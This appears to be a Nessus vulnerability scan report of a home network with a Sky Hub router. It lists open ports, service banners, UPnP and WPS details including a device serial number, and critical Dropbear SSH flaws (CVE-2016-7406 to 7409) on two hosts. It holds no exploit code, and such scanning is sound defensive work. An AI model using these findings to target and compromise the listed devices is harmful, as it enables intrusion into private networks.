21643 None 192.168.0.1 tcp 8890SSL Cipher Suites Supported The remote service encrypts communications using SSL.

This plugin detects which SSL ciphers are supported by the remote

service for encrypting communications. n/a

https://w

ww.opens

sl.org/doc

s/man1.1.

0/apps/cip

hers.html

http://ww

w.nessus.o

rg/u?3a04

0ada



Here is the list of SSL ciphers supported by the remote server :

Each group is reported per SSL Version.



SSL Version : TLSv12

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)



    Name                          Code             KEX           Auth     Encryption             

MAC

    ----------------------        ----------       ---           ----     ---------------------  ---

    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-

CBC(168)          SHA1



  High Strength Ciphers (>= 112-bit key)



    Name                          Code             KEX           Auth     Encryption             

MAC

    ----------------------        ----------       ---           ----     ---------------------  ---

    RSA-AES128-SHA256             0x00, 0x9C       RSA           RSA      AES-

GCM(128)           SHA256

    RSA-AES256-SHA384             0x00, 0x9D       RSA           RSA      AES-

GCM(256)           SHA384

    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-

CBC(128)           SHA1

    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-

CBC(256)           SHA1

    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-

CBC(128)      SHA1

    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia- None 05/06/2006 09/07/2020

22964 None 192.168.0.1 tcp 80Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or by

looking at the error message it sends when it receives an HTTP

request. n/a A web server is running on this port. None 19/08/2007 18/08/2020

22964 None 192.168.0.1 tcp 4444Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or by

looking at the error message it sends when it receives an HTTP

request. n/a A web server is running on this port. None 19/08/2007 18/08/2020

22964 None 192.168.0.1 tcp 4567Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or by

looking at the error message it sends when it receives an HTTP

request. n/a

A TLSv1 server answered on this port.



None 19/08/2007 18/08/2020

22964 None 192.168.0.1 tcp 4567Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or by

looking at the error message it sends when it receives an HTTP

request. n/a A web server is running on this port through TLSv1. None 19/08/2007 18/08/2020

22964 None 192.168.0.1 tcp 5300Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or by

looking at the error message it sends when it receives an HTTP

request. n/a

The service closed the connection without sending any data.

It might be protected by some sort of TCP wrapper. None 19/08/2007 18/08/2020

22964 None 192.168.0.1 tcp 8889Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or by

looking at the error message it sends when it receives an HTTP

request. n/a A web server is running on this port. None 19/08/2007 18/08/2020

22964 None 192.168.0.1 tcp 8890Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or by

looking at the error message it sends when it receives an HTTP

request. n/a

A TLSv1 server answered on this port.



None 19/08/2007 18/08/2020

22964 None 192.168.0.1 tcp 8890Service Detection The remote service could be identified.

Nessus was able to identify the remote service by its banner or by

looking at the error message it sends when it receives an HTTP

request. n/a A web server is running on this port through TLSv1. None 19/08/2007 18/08/2020

24260 None 192.168.0.1 tcp 80HyperText Transfer Protocol (HTTP) Information Some information about the remote HTTP configuration can be extracted.

This test gives some information about the remote HTTP protocol - the

version used, whether HTTP Keep-Alive and HTTP pipelining are 

enabled,

etc... 



This test is informational only and does not denote any security

problem. n/a



Response Code : HTTP/1.1 200 OK




Protocol version : HTTP/1.1

SSL : no

Keep-Alive : no

Options allowed : (Not implemented)

Headers :



  Server: sky_router

  X-Frame-Options: Deny

  Cache-Control: no-cache

  Date: Thu, 05 Nov 2020 18:19:04 GMT

  Content-Type: text/html

  Connection: close

  

Response Body :



<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<!-- v4.2 -->

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" 

/>

<title>Sky Hub &gt; Home</title>

<link type="text/css" rel="stylesheet" href="assets/css/fonts.css"/>

<link type="text/css" rel="stylesheet" href="assets/css/main.css"/>

<!-- jh scripts start --> None 30/01/2007 22/11/2019

24260 None 192.168.0.1 tcp 4444HyperText Transfer Protocol (HTTP) Information Some information about the remote HTTP configuration can be extracted.

This test gives some information about the remote HTTP protocol - the

version used, whether HTTP Keep-Alive and HTTP pipelining are 

enabled,

etc... 



This test is informational only and does not denote any security

problem. n/a



Response Code : HTTP/1.1 400 Bad Request




Protocol version : HTTP/1.1

SSL : no

Keep-Alive : no

Options allowed : (Not implemented)

Headers :



  Server: apid 1.0

  Date: Thu, 05 Nov 2020 18:19:05 GMT

  Vary: Accept-Encoding, Origin

  Cache-Control: no-cache,no-store

  Content-Type: text/html; charset=%s

  Connection: close

  

Response Body :



<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" 

"http://www.w3.org/TR/html4/loose.dtd">



<html>



  <head>

    <meta http-equiv="Content-type" content="text/html;charset=UTF-

8">

    <title>400 Bad Request</title>

  </head>



None 30/01/2007 22/11/2019

24260 None 192.168.0.1 tcp 4567HyperText Transfer Protocol (HTTP) Information Some information about the remote HTTP configuration can be extracted.

This test gives some information about the remote HTTP protocol - the

version used, whether HTTP Keep-Alive and HTTP pipelining are 

enabled,

etc... 



This test is informational only and does not denote any security

problem. n/a



Response Code : HTTP/1.1 400 Bad Request




Protocol version : HTTP/1.1

SSL : yes

Keep-Alive : no

Options allowed : (Not implemented)

Headers :



  Server: apid 1.0

  Date: Thu, 05 Nov 2020 18:19:14 GMT

  Vary: Accept-Encoding, Origin

  Cache-Control: no-cache,no-store

  Content-Type: text/html; charset=%s

  Connection: close

  

Response Body :



<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" 

"http://www.w3.org/TR/html4/loose.dtd">



<html>



  <head>

    <meta http-equiv="Content-type" content="text/html;charset=UTF-

8">

    <title>400 Bad Request</title>

  </head>



None 30/01/2007 22/11/2019

24260 None 192.168.0.1 tcp 8889HyperText Transfer Protocol (HTTP) Information Some information about the remote HTTP configuration can be extracted.

This test gives some information about the remote HTTP protocol - the

version used, whether HTTP Keep-Alive and HTTP pipelining are 

enabled,

etc... 



This test is informational only and does not denote any security

problem. n/a



Response Code : HTTP/1.1 302 Found




Protocol version : HTTP/1.1

SSL : no

Keep-Alive : no

Options allowed : (Not implemented)

Headers :



  Server: webd 1.0

  Date: Thu, 05 Nov 2020 18:19:14 GMT

  Access-Control-Allow-Origin: *

  Location: http://filter.meetcircle-sky.com

  Content-Type: text/html

  Connection: close

  

Response Body :



None 30/01/2007 22/11/2019

24260 None 192.168.0.1 tcp 8890HyperText Transfer Protocol (HTTP) Information Some information about the remote HTTP configuration can be extracted.

This test gives some information about the remote HTTP protocol - the

version used, whether HTTP Keep-Alive and HTTP pipelining are 

enabled,

etc... 



This test is informational only and does not denote any security

problem. n/a



Response Code : HTTP/1.1 302 Found




Protocol version : HTTP/1.1

SSL : yes

Keep-Alive : no

Options allowed : (Not implemented)

Headers :



  Server: webd 1.0

  Date: Thu, 05 Nov 2020 18:19:25 GMT

  Access-Control-Allow-Origin: *

  Location: http://filter.meetcircle-sky.com

  Content-Type: text/html

  Connection: close

  

Response Body :



None 30/01/2007 22/11/2019

25220 None 192.168.0.1 tcp 0TCP/IP Timestamps Supported The remote service implements TCP timestamps.

The remote host implements TCP timestamps, as defined by RFC1323.  

A

side effect of this feature is that the uptime of the remote host can

sometimes be computed. n/a http://www.ietf.org/rfc/rfc1323.txt None 16/05/2007 06/03/2019

31422 None 192.168.0.1 tcp 0Reverse NAT/Intercepting Proxy Detection

The remote IP address seems to connect to different hosts

via reverse NAT, or an intercepting proxy is in the way.

Reverse NAT is a technology which lets multiple computers offer

public services on different ports via the same IP address. 



Based on OS fingerprinting results, it seems that different 

operating systems are listening on different remote ports.



Note that this behavior may also indicate the presence of a

intercepting proxy, a load balancer or a traffic shaper. Make sure that this setup is authorized by your security policy https://en.wikipedia.org/wiki/Proxy_server#Intercepting_proxy_server

+ On the following port(s) : 

 - 80 (0 hops away)

 - 5300 (0 hops away)



The operating system was identified as :



Linux Kernel 2.6



+ On the following port(s) : 

 - 4567 (0 hops away)

 - 5431 (0 hops away)



The operating system was identified as :



Linux Kernel 2.6



None 12/03/2008 22/11/2019

35371 None 192.168.0.1 udp 53DNS Server hostname.bind Map Hostname Disclosure The DNS server discloses the remote host name.

It is possible to learn the remote host name by querying the remote

DNS server for 'hostname.bind' in the CHAOS domain.

It may be possible to disable this feature.  Consult the vendor's

documentation for more information.



The remote host name is :



XDR_on_cdns16.bllon



None 15/01/2009 14/09/2011

35711 None 192.168.0.1 udp 1900Universal Plug and Play (UPnP) Protocol Detection The remote device supports UPnP.

The remote device answered an SSDP M-SEARCH request. Therefore, it

supports 'Universal Plug and Play' (UPnP). This protocol provides

automatic configuration and device discovery. It is primarily intended

for home networks. An attacker could potentially leverage this to

discover your network architecture. Filter access to this port if desired.

https://en.

wikipedia.

org/wiki/

Universal_

Plug_and_

Play

https://en.

wikipedia.

org/wiki/S

imple_Ser

vice_Disco

very_Prot

ocol

http://qui

mby.gnus.

org/intern

et-

drafts/dra

ft-cai-ssdp-

v1-03.txt

The device responded to an SSDP M-SEARCH request with the following 

locations :



    http://192.168.0.1:5431/dyndev/uuid:7050af94-e020-20e0-94af-

50705094200000

    http://192.168.0.1:49164/wps_device.xml

    http://192.168.0.1:49163/wps_device.xml

    http://192.168.0.1:49162/wps_device.xml



And advertises these unique service names :



    uuid:7050af94-e020-20e0-94af-50705094200000::upnp:rootdevice

    uuid:7050af94-e020-20e0-94af-50705094200000::urn:schemas-upnp-

org:device:InternetGatewayDevice:1

    uuid:7050af94-e020-20e0-94af-50705094200000::urn:schemas-upnp-

org:service:Layer3Forwarding:1

    uuid:de7c8561-349e-2528-df63-3f74d9c089e9::upnp:rootdevice

    uuid:7050af94-e020-20e0-94af-50705094200001::urn:schemas-upnp-

org:device:WANDevice:1

    uuid:7050af94-e020-20e0-94af-50705094200001::urn:schemas-upnp-

org:service:WANCommonInterfaceConfig:

    uuid:7050af94-e020-20e0-94af-50705094200002::urn:schemas-upnp-

org:device:WANConnectionDevice:1

    uuid:7050af94-e020-20e0-94af-50705094200002::urn:schemas-upnp-

org:service:WANIPConnection:1

    uuid:de7c8561-349e-2528-df63-3f74d9c089e9::urn:schemas-

wifialliance-org:device:WFADevice:1

    uuid:de7c8561-349e-2528-df63-3f74d9c089e9::urn:schemas-

wifialliance-org:service:WFAWLANConfig:1 None 19/02/2009 12/09/2018

35712 None 192.168.0.1 tcp 5431Web Server UPnP Detection The remote web server provides UPnP information.

Nessus was able to extract some information about the UPnP-enabled

device by querying this web server. Services may also be reachable

through SOAP requests. Filter incoming traffic to this port if desired. https://en.wikipedia.org/wiki/Universal_Plug_and_Play



Here is a summary of http://192.168.0.1:5431/dyndev/uuid:7050af94-

e020-20e0-94af-50705094200000 :



deviceType: urn:schemas-upnp-org:device:InternetGatewayDevice:1

friendlyName: Sky ADSL Router

manufacturer: Sky Hub

manufacturerURL: http://www.sky.com/

modelName: ER110

modelDescription: (null)

modelName: ER110

modelNumber: 1.0

modelURL: http://www.broadcom.com/

ServiceID: urn:upnp-org:serviceId:Layer3Forwarding.1

	serviceType: urn:schemas-upnp-org:service:Layer3Forwarding:1	controlURL: /uuid:7050af94-e020-20e0-94af-

50705094200000/Layer3Forwarding:1

	eventSubURL: /uuid:7050af94-e020-20e0-94af-

50705094200000/Layer3Forwarding:1

	SCPDURL: /dynsvc/Layer3Forwarding:1.xml

ServiceID: urn:upnp-org:serviceId:WANCommonInterfaceConfig.1

	serviceType: urn:schemas-upnp-

org:service:WANCommonInterfaceConfig:1

	controlURL: /uuid:7050af94-e020-20e0-94af-

50705094200001/WANCommonInterfaceConfig:1

	eventSubURL: /uuid:7050af94-e020-20e0-94af-

50705094200001/WANCommonInterfaceConfig:1

	SCPDURL: /dynsvc/WANCommonInterfaceConfig:1.xml

ServiceID: urn:upnp-org:serviceId:WANIPConnection.1 None 19/02/2009 12/06/2020

35712 None 192.168.0.1 tcp 49162Web Server UPnP Detection The remote web server provides UPnP information.

Nessus was able to extract some information about the UPnP-enabled

device by querying this web server. Services may also be reachable

through SOAP requests. Filter incoming traffic to this port if desired. https://en.wikipedia.org/wiki/Universal_Plug_and_Play



Here is a summary of http://192.168.0.1:49162/wps_device.xml :



deviceType: urn:schemas-wifialliance-org:device:WFADevice:1

friendlyName: WPS Access Point

manufacturer: Sky

manufacturerURL: www.sky.com

modelName: Sky Hub

modelDescription: Sky Hub

modelName: Sky Hub

modelNumber: ER110

serialNumber: AC40178B017318

ServiceID: urn:wifialliance-org:serviceId:WFAWLANConfig1

	serviceType: urn:schemas-wifialliance-org:service:WFAWLANConfig:1	controlURL: wps_control	eventSubURL: wps_event	SCPDURL: wps_scpd.xml

None 19/02/2009 12/06/2020

35712 None 192.168.0.1 tcp 49163Web Server UPnP Detection The remote web server provides UPnP information.

Nessus was able to extract some information about the UPnP-enabled

device by querying this web server. Services may also be reachable

through SOAP requests. Filter incoming traffic to this port if desired. https://en.wikipedia.org/wiki/Universal_Plug_and_Play



Here is a summary of http://192.168.0.1:49163/wps_device.xml :



deviceType: urn:schemas-wifialliance-org:device:WFADevice:1

friendlyName: WPS Access Point

manufacturer: Sky

manufacturerURL: www.sky.com

modelName: Sky Hub

modelDescription: Sky Hub

modelName: Sky Hub

modelNumber: ER110

serialNumber: AC40178B017318

ServiceID: urn:wifialliance-org:serviceId:WFAWLANConfig1

	serviceType: urn:schemas-wifialliance-org:service:WFAWLANConfig:1	controlURL: wps_control	eventSubURL: wps_event	SCPDURL: wps_scpd.xml

None 19/02/2009 12/06/2020

35712 None 192.168.0.1 tcp 49164Web Server UPnP Detection The remote web server provides UPnP information.

Nessus was able to extract some information about the UPnP-enabled

device by querying this web server. Services may also be reachable

through SOAP requests. Filter incoming traffic to this port if desired. https://en.wikipedia.org/wiki/Universal_Plug_and_Play



Here is a summary of http://192.168.0.1:49164/wps_device.xml :



deviceType: urn:schemas-wifialliance-org:device:WFADevice:1

friendlyName: WPS Access Point

manufacturer: Sky

manufacturerURL: www.sky.com

modelName: Sky Hub

modelDescription: Sky Hub

modelName: Sky Hub

modelNumber: ER110

serialNumber: AC40178B017318

ServiceID: urn:wifialliance-org:serviceId:WFAWLANConfig1

	serviceType: urn:schemas-wifialliance-org:service:WFAWLANConfig:1	controlURL: wps_control	eventSubURL: wps_event	SCPDURL: wps_scpd.xml

None 19/02/2009 12/06/2020

35716 None 192.168.0.1 tcp 0Ethernet Card Manufacturer Detection The manufacturer can be identified from the Ethernet OUI.

Each ethernet MAC address starts with a 24-bit Organizationally 

Unique Identifier (OUI). These OUIs are registered by IEEE. n/a

https://sta

ndards.iee

e.org/faqs

/regauth.h

tml

http://ww

w.nessus.o

rg/u?7946

73b4



The following card manufacturers were identified :



70:50:AF:94:E0:21 : BSkyB Ltd



None 19/02/2009 13/05/2020

93650CVE-2016-7407 10Critical 192.168.0.2 tcp 22Dropbear SSH Server < 2016.72 Multiple Vulnerabilities

The SSH service running on the remote host is affected by multiple

vulnerabilities.

According to its self-reported version in its banner, Dropbear SSH

running on the remote host is prior to 2016.74. It is, therefore,

affected by the following vulnerabilities :



  - A format string flaw exists due to improper handling of

    string format specifiers (e.g., %s and %x) in usernames

    and host arguments. An unauthenticated, remote attacker

    can exploit this to execute arbitrary code with root

    privileges. (CVE-2016-7406)



  - A flaw exists in dropbearconvert due to improper

    handling of specially crafted OpenSSH key files. An

    unauthenticated, remote attacker can exploit this to

    execute arbitrary code. (CVE-2016-7407)



  - A flaw exists in dbclient when handling the -m or -c

    arguments in scripts. An unauthenticated, remote attacker

    can exploit this, via a specially crafted script, to

    execute arbitrary code. (CVE-2016-7408)



  - A flaw exists in dbclient or dropbear server if they are

    compiled with the DEBUG_TRACE option and then run using

    the -v switch. A local attacker can exploit this to

    disclose process memory. (CVE-2016-7409) Upgrade to Dropbear SSH version 2016.74 or later. https://matt.ucc.asn.au/dropbear/CHANGES



  Version source    : SSH-2.0-dropbear_2012.55

  Installed version : 2012.55

  Fixed version     : 2016.74



9.8 7.4 8.5Critical 92970;92972;92973;92974 22/09/2016 14/11/2019

93650CVE-2016-7408 10Critical 192.168.0.2 tcp 22Dropbear SSH Server < 2016.72 Multiple Vulnerabilities

The SSH service running on the remote host is affected by multiple

vulnerabilities.

According to its self-reported version in its banner, Dropbear SSH

running on the remote host is prior to 2016.74. It is, therefore,

affected by the following vulnerabilities :



  - A format string flaw exists due to improper handling of

    string format specifiers (e.g., %s and %x) in usernames

    and host arguments. An unauthenticated, remote attacker

    can exploit this to execute arbitrary code with root

    privileges. (CVE-2016-7406)



  - A flaw exists in dropbearconvert due to improper

    handling of specially crafted OpenSSH key files. An

    unauthenticated, remote attacker can exploit this to

    execute arbitrary code. (CVE-2016-7407)



  - A flaw exists in dbclient when handling the -m or -c

    arguments in scripts. An unauthenticated, remote attacker

    can exploit this, via a specially crafted script, to

    execute arbitrary code. (CVE-2016-7408)



  - A flaw exists in dbclient or dropbear server if they are

    compiled with the DEBUG_TRACE option and then run using

    the -v switch. A local attacker can exploit this to

    disclose process memory. (CVE-2016-7409) Upgrade to Dropbear SSH version 2016.74 or later. https://matt.ucc.asn.au/dropbear/CHANGES



  Version source    : SSH-2.0-dropbear_2012.55

  Installed version : 2012.55

  Fixed version     : 2016.74



9.8 7.4 8.5Critical 92970;92972;92973;92974 22/09/2016 14/11/2019

45410 None 192.168.0.1 tcp 4567SSL Certificate 'commonName' Mismatch

The 'commonName' (CN) attribute in the SSL certificate does not match

the hostname.

The service running on the remote host presents an SSL certificate for

which the 'commonName' (CN) attribute does not match the 

hostname on

which the service listens.

If the machine has several names, make sure that users connect to the

service through the DNS hostname that matches the common name in 

the

certificate.



The host name known by Nessus is :



  skyrouter.home



The Common Name in the certificate is :



  localhost



The Subject Alternate Names in the certificate are :



  10.123.234.1

  meetcircle.local



None 03/04/2010 25/06/2019

45410 None 192.168.0.1 tcp 8890SSL Certificate 'commonName' Mismatch

The 'commonName' (CN) attribute in the SSL certificate does not match

the hostname.

The service running on the remote host presents an SSL certificate for

which the 'commonName' (CN) attribute does not match the 

hostname on

which the service listens.

If the machine has several names, make sure that users connect to the

service through the DNS hostname that matches the common name in 

the

certificate.



The host name known by Nessus is :



  skyrouter.home



The Common Name in the certificate is :



  circle002



The Subject Alternate Names in the certificate are :



  10.123.234.1

  meetcircle.local



None 03/04/2010 25/06/2019

50845 None 192.168.0.1 tcp 4567OpenSSL Detection The remote service appears to use OpenSSL to encrypt traffic.

Based on its response to a TLS request with a specially crafted

server name extension, it seems that the remote service is using the

OpenSSL library to encrypt traffic.



Note that this plugin can only detect OpenSSL implementations that

have enabled support for TLS extensions (RFC 4366). n/a https://www.openssl.org/ None 30/11/2010 12/06/2020

50845 None 192.168.0.1 tcp 8890OpenSSL Detection The remote service appears to use OpenSSL to encrypt traffic.

Based on its response to a TLS request with a specially crafted

server name extension, it seems that the remote service is using the

OpenSSL library to encrypt traffic.



Note that this plugin can only detect OpenSSL implementations that

have enabled support for TLS extensions (RFC 4366). n/a https://www.openssl.org/ None 30/11/2010 12/06/2020

93650CVE-2016-7409 10Critical 192.168.0.2 tcp 22Dropbear SSH Server < 2016.72 Multiple Vulnerabilities

The SSH service running on the remote host is affected by multiple

vulnerabilities.

According to its self-reported version in its banner, Dropbear SSH

running on the remote host is prior to 2016.74. It is, therefore,

affected by the following vulnerabilities :



  - A format string flaw exists due to improper handling of

    string format specifiers (e.g., %s and %x) in usernames

    and host arguments. An unauthenticated, remote attacker

    can exploit this to execute arbitrary code with root

    privileges. (CVE-2016-7406)



  - A flaw exists in dropbearconvert due to improper

    handling of specially crafted OpenSSH key files. An

    unauthenticated, remote attacker can exploit this to

    execute arbitrary code. (CVE-2016-7407)



  - A flaw exists in dbclient when handling the -m or -c

    arguments in scripts. An unauthenticated, remote attacker

    can exploit this, via a specially crafted script, to

    execute arbitrary code. (CVE-2016-7408)



  - A flaw exists in dbclient or dropbear server if they are

    compiled with the DEBUG_TRACE option and then run using

    the -v switch. A local attacker can exploit this to

    disclose process memory. (CVE-2016-7409) Upgrade to Dropbear SSH version 2016.74 or later. https://matt.ucc.asn.au/dropbear/CHANGES



  Version source    : SSH-2.0-dropbear_2012.55

  Installed version : 2012.55

  Fixed version     : 2016.74



9.8 7.4 8.5Critical 92970;92972;92973;92974 22/09/2016 14/11/2019

93650CVE-2016-7406 10Critical 192.168.0.20 tcp 22Dropbear SSH Server < 2016.72 Multiple Vulnerabilities

The SSH service running on the remote host is affected by multiple

vulnerabilities.

According to its self-reported version in its banner, Dropbear SSH

running on the remote host is prior to 2016.74. It is, therefore,

affected by the following vulnerabilities :



  - A format string flaw exists due to improper handling of

    string format specifiers (e.g., %s and %x) in usernames

    and host arguments. An unauthenticated, remote attacker

    can exploit this to execute arbitrary code with root

    privileges. (CVE-2016-7406)



  - A flaw exists in dropbearconvert due to improper

    handling of specially crafted OpenSSH key files. An

    unauthenticated, remote attacker can exploit this to

    execute arbitrary code. (CVE-2016-7407)



  - A flaw exists in dbclient when handling the -m or -c

    arguments in scripts. An unauthenticated, remote attacker

    can exploit this, via a specially crafted script, to

    execute arbitrary code. (CVE-2016-7408)



  - A flaw exists in dbclient or dropbear server if they are

    compiled with the DEBUG_TRACE option and then run using

    the -v switch. A local attacker can exploit this to

    disclose process memory. (CVE-2016-7409) Upgrade to Dropbear SSH version 2016.74 or later. https://matt.ucc.asn.au/dropbear/CHANGES



  Version source    : SSH-2.0-dropbear_2015.67

  Installed version : 2015.67

  Fixed version     : 2016.74



9.8 7.4 8.5Critical 92970;92972;92973;92974 22/09/2016 14/11/2019

54615 None 192.168.0.1 tcp 0Device Type It is possible to guess the remote device type.

Based on the remote operating system, it is possible to determine

what the remote system type is (eg: a printer, router, general-purpose

computer, etc). n/a

Remote device type : embedded

Confidence level : 80



None 23/05/2011 23/05/2011

56984 None 192.168.0.1 tcp 4567SSL / TLS Versions Supported The remote service encrypts communications.

This plugin detects which SSL and TLS versions are supported by the

remote service for encrypting communications. n/a



This port supports TLSv1.0/TLSv1.1/TLSv1.2.



None 01/12/2011 09/07/2020

56984 None 192.168.0.1 tcp 8890SSL / TLS Versions Supported The remote service encrypts communications.

This plugin detects which SSL and TLS versions are supported by the

remote service for encrypting communications. n/a



This port supports TLSv1.0/TLSv1.1/TLSv1.2.



None 01/12/2011 09/07/2020

93650CVE-2016-7407 10Critical 192.168.0.20 tcp 22Dropbear SSH Server < 2016.72 Multiple Vulnerabilities

The SSH service running on the remote host is affected by multiple

vulnerabilities.

According to its self-reported version in its banner, Dropbear SSH

running on the remote host is prior to 2016.74. It is, therefore,

affected by the following vulnerabilities :



  - A format string flaw exists due to improper handling of

    string format specifiers (e.g., %s and %x) in usernames

    and host arguments. An unauthenticated, remote attacker

    can exploit this to execute arbitrary code with root

    privileges. (CVE-2016-7406)



  - A flaw exists in dropbearconvert due to improper

    handling of specially crafted OpenSSH key files. An

    unauthenticated, remote attacker can exploit this to

    execute arbitrary code. (CVE-2016-7407)



  - A flaw exists in dbclient when handling the -m or -c

    arguments in scripts. An unauthenticated, remote attacker

    can exploit this, via a specially crafted script, to

    execute arbitrary code. (CVE-2016-7408)



  - A flaw exists in dbclient or dropbear server if they are

    compiled with the DEBUG_TRACE option and then run using

    the -v switch. A local attacker can exploit this to

    disclose process memory. (CVE-2016-7409) Upgrade to Dropbear SSH version 2016.74 or later. https://matt.ucc.asn.au/dropbear/CHANGES



  Version source    : SSH-2.0-dropbear_2015.67

  Installed version : 2015.67

  Fixed version     : 2016.74



9.8 7.4 8.5Critical 92970;92972;92973;92974 22/09/2016 14/11/2019

93650CVE-2016-7408 10Critical 192.168.0.20 tcp 22Dropbear SSH Server < 2016.72 Multiple Vulnerabilities

The SSH service running on the remote host is affected by multiple

vulnerabilities.

According to its self-reported version in its banner, Dropbear SSH

running on the remote host is prior to 2016.74. It is, therefore,

affected by the following vulnerabilities :



  - A format string flaw exists due to improper handling of

    string format specifiers (e.g., %s and %x) in usernames

    and host arguments. An unauthenticated, remote attacker

    can exploit this to execute arbitrary code with root

    privileges. (CVE-2016-7406)



  - A flaw exists in dropbearconvert due to improper

    handling of specially crafted OpenSSH key files. An

    unauthenticated, remote attacker can exploit this to

    execute arbitrary code. (CVE-2016-7407)



  - A flaw exists in dbclient when handling the -m or -c

    arguments in scripts. An unauthenticated, remote attacker

    can exploit this, via a specially crafted script, to

    execute arbitrary code. (CVE-2016-7408)



  - A flaw exists in dbclient or dropbear server if they are

    compiled with the DEBUG_TRACE option and then run using

    the -v switch. A local attacker can exploit this to

    disclose process memory. (CVE-2016-7409) Upgrade to Dropbear SSH version 2016.74 or later. https://matt.ucc.asn.au/dropbear/CHANGES



  Version source    : SSH-2.0-dropbear_2015.67

  Installed version : 2015.67

  Fixed version     : 2016.74



9.8 7.4 8.5Critical 92970;92972;92973;92974 22/09/2016 14/11/2019

93650CVE-2016-7409 10Critical 192.168.0.20 tcp 22Dropbear SSH Server < 2016.72 Multiple Vulnerabilities

The SSH service running on the remote host is affected by multiple

vulnerabilities.

According to its self-reported version in its banner, Dropbear SSH

running on the remote host is prior to 2016.74. It is, therefore,

affected by the following vulnerabilities :



  - A format string flaw exists due to improper handling of

    string format specifiers (e.g., %s and %x) in usernames

    and host arguments. An unauthenticated, remote attacker

    can exploit this to execute arbitrary code with root

    privileges. (CVE-2016-7406)



  - A flaw exists in dropbearconvert due to improper

    handling of specially crafted OpenSSH key files. An

    unauthenticated, remote attacker can exploit this to

    execute arbitrary code. (CVE-2016-7407)



  - A flaw exists in dbclient when handling the -m or -c

    arguments in scripts. An unauthenticated, remote attacker

    can exploit this, via a specially crafted script, to

    execute arbitrary code. (CVE-2016-7408)



  - A flaw exists in dbclient or dropbear server if they are

    compiled with the DEBUG_TRACE option and then run using

    the -v switch. A local attacker can exploit this to

    disclose process memory. (CVE-2016-7409) Upgrade to Dropbear SSH version 2016.74 or later. https://matt.ucc.asn.au/dropbear/CHANGES



  Version source    : SSH-2.0-dropbear_2015.67

  Installed version : 2015.67

  Fixed version     : 2016.74



9.8 7.4 8.5Critical 92970;92972;92973;92974 22/09/2016 14/11/2019


Microsoft_Excel_Worksheet.xlsx
My_Basic_Network_Scan_9ftc09

		Plugin ID		CVE		CVSS		Risk		Host		Protocol		Port		Name		Synopsis		Description		Solution		See Also		Plugin Output		STIG Severity		CVSS v3.0 Base Score		CVSS Temporal Score		CVSS v3.0 Temporal Score		Risk Factor		BID		XREF		MSKB		Plugin Publication Date		Plugin Modification Date		Metasploit		Core Impact		CANVAS

		10107						None		192.168.0.1		tcp		80		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

sky_router										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10107						None		192.168.0.1		tcp		4444		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

apid 1.0										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10107						None		192.168.0.1		tcp		4567		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

apid 1.0										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10107						None		192.168.0.1		tcp		8889		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

webd 1.0										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10107						None		192.168.0.1		tcp		8890		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

webd 1.0										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10114		CVE-1999-0524		0		None		192.168.0.1		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -2 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10287						None		192.168.0.1		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.1 : 
192.168.0.35
192.168.0.1

Hop Count: 1
										None								11/27/99		8/20/20

		10386						None		192.168.0.1		tcp		8889		Web Server No 404 Error Code Check		The remote web server does not return 404 error codes.		The remote web server is configured such that it does not return '404
Not Found' error codes when a nonexistent file is requested, perhaps
returning instead a site map, search page or authentication page.

Nessus has enabled some counter measures for this.  However, they
might be insufficient.  If a great number of security holes are
produced for this port, they might not all be accurate.		n/a				

CGI scanning will be disabled for this host because the host responds
to requests for non-existent URLs with HTTP code 302
rather than 404. The requested URL was : 

    http://SkyRouter.Home:8889/rWar5Bek2ELz.html
										None								4/28/00		6/12/20

		10386						None		192.168.0.1		tcp		8890		Web Server No 404 Error Code Check		The remote web server does not return 404 error codes.		The remote web server is configured such that it does not return '404
Not Found' error codes when a nonexistent file is requested, perhaps
returning instead a site map, search page or authentication page.

Nessus has enabled some counter measures for this.  However, they
might be insufficient.  If a great number of security holes are
produced for this port, they might not all be accurate.		n/a				

CGI scanning will be disabled for this host because the host responds
to requests for non-existent URLs with HTTP code 302
